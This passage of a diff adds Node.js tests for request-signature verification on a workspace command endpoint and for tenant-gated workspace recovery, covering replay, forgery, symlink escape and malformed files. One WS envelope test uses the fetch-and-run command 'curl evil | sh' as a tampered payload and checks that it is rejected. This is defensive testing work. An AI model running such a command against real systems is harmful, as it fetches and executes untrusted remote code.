r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: h, body });
|
|
212
|
+
assert.equal(r.status, 401);
|
|
213
|
+
assert.equal((await r.json()).reason, 'replayed nonce');
|
|
214
|
+
r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: liveHeaders(body), body: '{"command":"id"}' });
|
|
215
|
+
assert.equal(r.status, 401);
|
|
216
|
+
r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
|
|
217
|
+
assert.equal(r.status, 401);
|
|
218
|
+
r = await fetch(`${base}/health`);
|
|
219
|
+
assert.equal(r.status, 200);
|
|
220
|
+
} finally { server.close(); }
|
|
221
|
+
});
|
|
222
|
+
test('warn: unsigned and bad requests pass through, marked unverified', async () => {
|
|
223
|
+
const { server, base } = await serve('warn');
|
|
224
|
+
try {
|
|
225
|
+
const body = '{"command":"git status"}';
|
|
226
|
+
let r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
|
|
227
|
+
assert.equal(r.status, 200);
|
|
228
|
+
assert.deepEqual((await r.json()).sig, { verified: false, reason: 'unsigned request' });
|
|
229
|
+
r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: liveHeaders(body), body: '{"command":"id"}' });
|
|
230
|
+
assert.equal(r.status, 200);
|
|
231
|
+
assert.equal((await r.json()).sig.reason, 'bad signature');
|
|
232
|
+
} finally { server.close(); }
|
|
233
|
+
});
|
|
234
|
+
test('off: nothing is verified', async () => {
|
|
235
|
+
const { server, base } = await serve('off');
|
|
236
|
+
try {
|
|
237
|
+
const r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{}' });
|
|
238
|
+
assert.equal(r.status, 200);
|
|
239
|
+
} finally { server.close(); }
|
|
240
|
+
});
|
|
241
|
+
test('the per-process internal marker (WS tunnel hop) is accepted from loopback only', async () => {
|
|
242
|
+
const { server, base } = await serve('enforce');
|
|
243
|
+
try {
|
|
244
|
+
const r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json', ...internalSignatureHeaders(), 'x-vh-tenant-id': 't1' }, body: '{}' });
|
|
245
|
+
assert.equal(r.status, 200);
|
|
246
|
+
const j = await r.json();
|
|
247
|
+
assert.equal(j.sig.internal, true);
|
|
248
|
+
const forged = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: { 'content-type': 'application/json', 'x-vh-internal': 'x'.repeat(43) }, body: '{}' });
|
|
249
|
+
assert.equal(forged.status, 401);
|
|
250
|
+
} finally { server.close(); }
|
|
251
|
+
});
|
|
252
|
+
});
|
|
253
|
+
|
|
254
|
+
describe('WS envelope', () => {
|
|
255
|
+
function envelope(params, over = {}) {
|
|
256
|
+
const paramsRaw = JSON.stringify(params);
|
|
257
|
+
const { req } = sign({ method: 'WS', pathAndQuery: 'mcp.execute-command', body: paramsRaw, ...over });
|
|
258
|
+
return { requestId: 'r1', command: 'mcp.execute-command', params, paramsRaw, sig: req.sig };
|
|
259
|
+
}
|
|
260
|
+
test('verified envelope runs the SIGNED paramsRaw, not the unsigned params copy', () => {
|
|
261
|
+
const env = envelope({ command: 'git status' });
|
|
262
|
+
env.params = { command: 'curl evil | sh' };
|
|
263
|
+
const out = verifyWsEnvelope(env, cfg());
|
|
264
|
+
assert.equal(out.ok, true);
|
|
265
|
+
assert.equal(out.verified, true);
|
|
266
|
+
assert.deepEqual(out.params, { command: 'git status' });
|
|
267
|
+
});
|
|
268
|
+
test('enforce rejects an unsigned or tampered envelope; warn runs legacy params', () => {
|
|
269
|
+
const tampered = envelope({ command: 'git status' });
|
|
270
|
+
tampered.paramsRaw = JSON.stringify({ command: 'id' });
|
|
271
|
+
assert.equal(verifyWsEnvelope(tampered, cfg()).ok, false);
|
|
272
|
+
const legacy = { requestId: 'r', command: 'health', params: { a: 1 } };
|
|
273
|
+
assert.equal(verifyWsEnvelope(legacy, cfg()).ok, false);
|
|
274
|
+
const warn = verifyWsEnvelope(legacy, cfg({ mode: 'warn' }));
|
|
275
|
+
assert.equal(warn.ok, true);
|
|
276
|
+
assert.equal(warn.verified, false);
|
|
277
|
+
assert.deepEqual(warn.params, { a: 1 });
|
|
278
|
+
});
|
|
279
|
+
test('the command name is signed (cannot re-route a signed envelope)', () => {
|
|
280
|
+
const env = envelope({ path: 'a' });
|
|
281
|
+
env.command = 'mcp.apply-patch';
|
|
282
|
+
assert.equal(verifyWsEnvelope(env, cfg()).reason, 'bad signature');
|
|
283
|
+
});
|
|
284
|
+
});
|
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
// ROOT-RECOVERY sidecar tenant (QA 2026-10-09): a clone whose in-memory
|
|
2
|
+
// registration was lost is recovered ONLY when its own sidecar names the same
|
|
3
|
+
// tenant as the dead root. Every other case keeps the fail-closed denial.
|
|
4
|
+
|
|
5
|
+
import { test, describe, beforeEach, afterEach } from 'node:test';
|
|
6
|
+
import assert from 'node:assert/strict';
|
|
7
|
+
import fs from 'node:fs';
|
|
8
|
+
import path from 'node:path';
|
|
9
|
+
import os from 'node:os';
|
|
10
|
+
import { recoverLiveRoot, sidecarTenantOf, SIDECAR_MAX_BYTES } from '../src/utils/root-recovery.js';
|
|
11
|
+
import { WorkspaceManager } from '../src/workspace-manager.js';
|
|
12
|
+
|
|
13
|
+
const SC = '.vh-workspace.json';
|
|
14
|
+
let tmp, mount, outside;
|
|
15
|
+
const dead = (t, repo = 'api-todolist') => `/mnt/workspaces/${t}/${repo}`;
|
|
16
|
+
|
|
17
|
+
function clone(name, sidecar, { raw } = {}) {
|
|
18
|
+
const dir = path.join(mount, name);
|
|
19
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
20
|
+
if (raw !== undefined) fs.writeFileSync(path.join(dir, SC), raw);
|
|
21
|
+
else if (sidecar) fs.writeFileSync(path.join(dir, SC), JSON.stringify({ id: 'ws', root: dir, openedAt: 'x', ...sidecar }));
|
|
22
|
+
return dir;
|
|
23
|
+
}
|
|
24
|
+
const run = (t, extra = {}) => {
|
|
25
|
+
const warns = [];
|
|
26
|
+
const live = recoverLiveRoot(dead(t), { registry: [], mountDir: mount, warn: (m) => warns.push(m), ...extra });
|
|
27
|
+
return { live, warns };
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
beforeEach(() => {
|
|
31
|
+
tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'rr-sc-'));
|
|
32
|
+
mount = path.join(tmp, 'workspaces');
|
|
33
|
+
outside = path.join(tmp, 'outside');
|
|
34
|
+
fs.mkdirSync(mount); fs.mkdirSync(outside);
|
|
35
|
+
});
|
|
36
|
+
afterEach(() => fs.rmSync(tmp, { recursive: true, force: true }));
|
|
37
|
+
|
|
38
|
+
describe('sidecar tenant recovery', () => {
|
|
39
|
+
test('recovers when sidecar tenant equals the dead tenant', () => {
|
|
40
|
+
const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
|
|
41
|
+
assert.equal(run('tenant-a').live, dir);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
test('works with the request tenantHint for non-NFS dead roots', () => {
|
|
45
|
+
const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
|
|
46
|
+
const live = recoverLiveRoot('/somewhere/dead/api-todolist', { registry: [], mountDir: mount, tenantHint: 'tenant-a', warn() {} });
|
|
47
|
+
assert.equal(live, dir);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test('refuses when the sidecar names a different tenant (and logs the gate line)', () => {
|
|
51
|
+
clone('ACME_api-todolist', { tenantId: 'tenant-b' });
|
|
52
|
+
const { live, warns } = run('tenant-a');
|
|
53
|
+
assert.equal(live, null);
|
|
54
|
+
assert.ok(warns.some((m) => /disk-scan match denied - dead tenant 'tenant-a' vs candidate tenant 'tenant-b'/.test(m)));
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
test('same basename for two tenants never crosses; each gets its own clone', () => {
|
|
58
|
+
const a = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
|
|
59
|
+
const b = clone('OTHER_api-todolist', { tenantId: 'tenant-b' });
|
|
60
|
+
assert.equal(run('tenant-a').live, a);
|
|
61
|
+
assert.equal(run('tenant-b').live, b);
|
|
62
|
+
assert.equal(run('tenant-c').live, null);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
test('refuses when the sidecar is missing', () => {
|
|
66
|
+
clone('ACME_api-todolist', null);
|
|
67
|
+
const { live, warns } = run('tenant-a');
|
|
68
|
+
assert.equal(live, null);
|
|
69
|
+
assert.ok(warns.some((m) => /candidate tenant 'unknown'.*missing/.test(m)));
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
test('refuses malformed, non-object, tenant-less and root-mismatch sidecars', () => {
|
|
73
|
+
for (const raw of ['{not json', '[]', '"x"', JSON.stringify({ id: 'w', root: '/tmp/x/ACME_api-todolist', tenantId: 'tenant-a' }),
|
|
74
|
+
JSON.stringify({ id: 'w', root: path.join(mount, 'ACME_api-todolist'), tenantId: ' ' }),
|
|
75
|
+
JSON.stringify({ root: path.join(mount, 'ACME_api-todolist'), tenantId: 'tenant-a' })]) {
|
|
76
|
+
fs.rmSync(mount, { recursive: true, force: true }); fs.mkdirSync(mount);
|
|
77
|
+
clone('ACME_api-todolist', null, { raw });
|
|
78
|
+
assert.equal(run('tenant-a').live, null, raw);
|
|
79
|
+
}
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
test('refuses an oversized sidecar', () => {
|
|
83
|
+
const pad = 'x'.repeat(SIDECAR_MAX_BYTES + 10);
|
|
84
|
+
const dir = path.join(mount, 'ACME_api-todolist');
|
|
85
|
+
clone('ACME_api-todolist', null, { raw: JSON.stringify({ id: 'w', root: dir, tenantId: 'tenant-a', pad }) });
|
|
86
|
+
const { live, warns } = run('tenant-a');
|
|
87
|
+
assert.equal(live, null);
|
|
88
|
+
assert.ok(warns.some((m) => /oversized/.test(m)));
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
test('refuses a sidecar that is a symlink pointing outside the candidate dir', () => {
|
|
92
|
+
const dir = clone('ACME_api-todolist', null);
|
|
93
|
+
const target = path.join(outside, 'sc.json');
|
|
94
|
+
fs.writeFileSync(target, JSON.stringify({ id: 'w', root: dir, tenantId: 'tenant-a' }));
|
|
95
|
+
fs.symlinkSync(target, path.join(dir, SC));
|
|
96
|
+
const { live, warns } = run('tenant-a');
|
|
97
|
+
assert.equal(live, null);
|
|
98
|
+
assert.ok(warns.some((m) => /not-a-regular-file/.test(m)));
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
test('refuses a candidate dir that is a symlink to a place outside the mount', () => {
|
|
102
|
+
const real = path.join(outside, 'ACME_api-todolist');
|
|
103
|
+
fs.mkdirSync(real);
|
|
104
|
+
fs.writeFileSync(path.join(real, SC), JSON.stringify({ id: 'w', root: path.join(mount, 'ACME_api-todolist'), tenantId: 'tenant-a' }));
|
|
105
|
+
fs.symlinkSync(real, path.join(mount, 'ACME_api-todolist'));
|
|
106
|
+
const { live, warns } = run('tenant-a');
|
|
107
|
+
assert.equal(live, null);
|
|
108
|
+
assert.ok(warns.some((m) => /candidate-outside-mount/.test(m)));
|
|
109
|
+
assert.equal(sidecarTenantOf(real, mount).tenantId, null);
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
test('sidecar is ignored for the decision beyond tenant (repoUrl etc. never trusted)', () => {
|
|
113
|
+
const dir = clone('ACME_api-todolist', { tenantId: 'tenant-b', repoUrl: 'https://x/tenant-a/api-todolist', tenant: 'tenant-a' });
|
|
114
|
+
assert.notEqual(run('tenant-a').live, dir);
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
describe('registry behaviour unchanged', () => {
|
|
119
|
+
test('registry tenant wins over a conflicting sidecar (sidecar not consulted)', () => {
|
|
120
|
+
const dir = clone('ACME_api-todolist', { tenantId: 'tenant-a' });
|
|
121
|
+
const reg = [{ id: 'w', root: dir, tenantId: 'tenant-b' }];
|
|
122
|
+
assert.equal(run('tenant-a', { registry: reg }).live, null);
|
|
123
|
+
const reg2 = [{ id: 'w', root: dir, tenantId: 'tenant-a' }];
|
|
124
|
+
clone('ACME_api-todolist', { tenantId: 'tenant-b' });
|
|
125
|
+
assert.equal(run('tenant-a', { registry: reg2 }).live, dir);
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
test('unknown dead tenant is still denied even with a sidecar', () => {
|
|
129
|
+
clone('ACME_api-todolist', { tenantId: 'tenant-a' });
|
|
130
|
+
const live = recoverLiveRoot('/opt/dead/api-todolist', { registry: [], mountDir: mount, warn() {} });
|
|
131
|
+
assert.equal(live, null);
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
test('dir without registry tenant and without sidecar keeps the exact legacy denial line', () => {
|
|
135
|
+
clone('ACME_api-todolist', null);
|
|
136
|
+
const { warns } = run('tenant-a');
|
|
137
|
+
assert.equal(warns.length, 1);
|
|
138
|
+
assert.match(warns[0], /^\[ROOT-RECOVERY\] TENANT GATE: disk-scan match denied - dead tenant 'tenant-a' vs candidate tenant 'unknown' \(base 'api-todolist'\)/);
|
|
139
|
+
});
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
describe('WorkspaceManager sidecar write', () => {
|
|
143
|
+
test('writes tenantId atomically with mode 0600 and leaves no temp file', async () => {
|
|
144
|
+
const dir = clone('ACME_api-todolist', null);
|
|
145
|
+
const m = new WorkspaceManager();
|
|
146
|
+
await m.open('w1', dir, { tenantId: 'tenant-a' });
|
|
147
|
+
const f = path.join(dir, SC);
|
|
148
|
+
assert.equal(JSON.parse(fs.readFileSync(f, 'utf8')).tenantId, 'tenant-a');
|
|
149
|
+
assert.equal(fs.statSync(f).mode & 0o777, 0o600);
|
|
150
|
+
assert.deepEqual(fs.readdirSync(dir).filter((n) => n.endsWith('.tmp')), []);
|
|
151
|
+
assert.equal(run('tenant-a').live, dir);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
test('a reused id ("default") never lends tenant A to tenant B-less clone of another dir', async () => {
|
|
155
|
+
const dirA = clone('ACME_api-todolist', null);
|
|
156
|
+
const dirB = clone('OTHER_api-todolist', null);
|
|
157
|
+
const m = new WorkspaceManager();
|
|
158
|
+
await m.open('default', dirA, { tenantId: 'tenant-a' });
|
|
159
|
+
await m.open('default', dirB, { tenantId: null });
|
|
160
|
+
assert.equal(JSON.parse(fs.readFileSync(path.join(dirB, SC), 'utf8')).tenantId, null);
|
|
161
|
+
assert.equal(run('tenant-a').live, dirA);
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
test('re-open of the SAME dir without tenant keeps its tenant', async () => {
|
|
165
|
+
const dir = clone('ACME_api-todolist', null);
|
|
166
|
+
const m = new WorkspaceManager();
|
|
167
|
+
await m.open('w1', dir, { tenantId: 'tenant-a' });
|
|
168
|
+
await m.open('w1', dir, {});
|
|
169
|
+
assert.equal(JSON.parse(fs.readFileSync(path.join(dir, SC), 'utf8')).tenantId, 'tenant-a');
|
|
170
|
+
});
|
|
171
|
+
});
|